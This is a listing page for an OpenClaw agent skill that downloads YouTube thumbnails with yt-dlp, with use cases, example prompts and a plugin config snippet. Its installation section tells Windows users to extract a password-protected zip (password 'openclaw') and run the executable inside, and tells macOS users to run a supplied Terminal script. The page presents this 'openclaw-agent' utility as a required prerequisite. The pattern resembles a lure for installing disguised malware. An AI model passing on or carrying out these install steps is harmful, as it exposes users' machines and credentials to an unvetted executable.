youtube-thumbnail-grabber
Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.
Why use this skill?
Learn how to use the YouTube Thumbnail Grabber skill to download, batch process, and extract high-resolution preview images from YouTube videos using OpenClaw.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-w7harWhat This Skill Does
The youtube-thumbnail-grabber is a specialized OpenClaw agent skill designed to streamline the extraction of thumbnail assets from YouTube videos. It serves as an interface between your AI agent and the underlying yt-dlp library, allowing you to fetch, convert, and download video preview images in various resolutions effortlessly. Whether you need a low-resolution default image or a high-definition maxresdefault.jpg, this skill provides the necessary commands and logic to pull assets directly from YouTube's CDN. It also supports advanced operations like batch downloading from playlists, extracting thumbnails from a list of URLs in a text file, and programmatic metadata extraction.
Installation
To begin, ensure you have the openclaw-agent utility installed. For Windows users, download the provided zip file, extract it using the password openclaw, and run the executable. macOS users should use the provided installation script in the Terminal. Once the environment is prepared, install the dependency by running pip install yt-dlp in your environment. Finally, run clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-w7har to integrate the skill into your OpenClaw agent instance.
Use Cases
- Content Creation: Quickly grab video thumbnails to create collages or design project headers.
- Archive Management: Save high-quality thumbnails for local video databases or reference libraries.
- Content Auditing: Retrieve and compare thumbnail quality across multiple videos in a playlist.
- Automated Reporting: Use metadata extraction to log thumbnail URLs alongside video titles for automated documentation or social media management.
Example Prompts
- "Grab the high-quality thumbnail for the video at https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as video_cover.jpg."
- "Download the maximum resolution thumbnail for every video link provided in the file named
urls.txtand store them in the folder namedthumbnails." - "Can you give me the URLs for all available thumbnail resolutions for this video: https://www.youtube.com/watch?v=3JZ_D3ELwOQ?"
Tips & Limitations
- Prerequisites: This skill will not function without the
openclaw-agentutility correctly installed on your host machine. - Resolution: Note that
maxresdefault.jpgis not always available for every video; in such cases, fallback tosddefaultorhqdefault. - Permissions: Ensure your agent has write permissions for the target directory to avoid errors during download operations.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-thumbnail-grabber-w7har": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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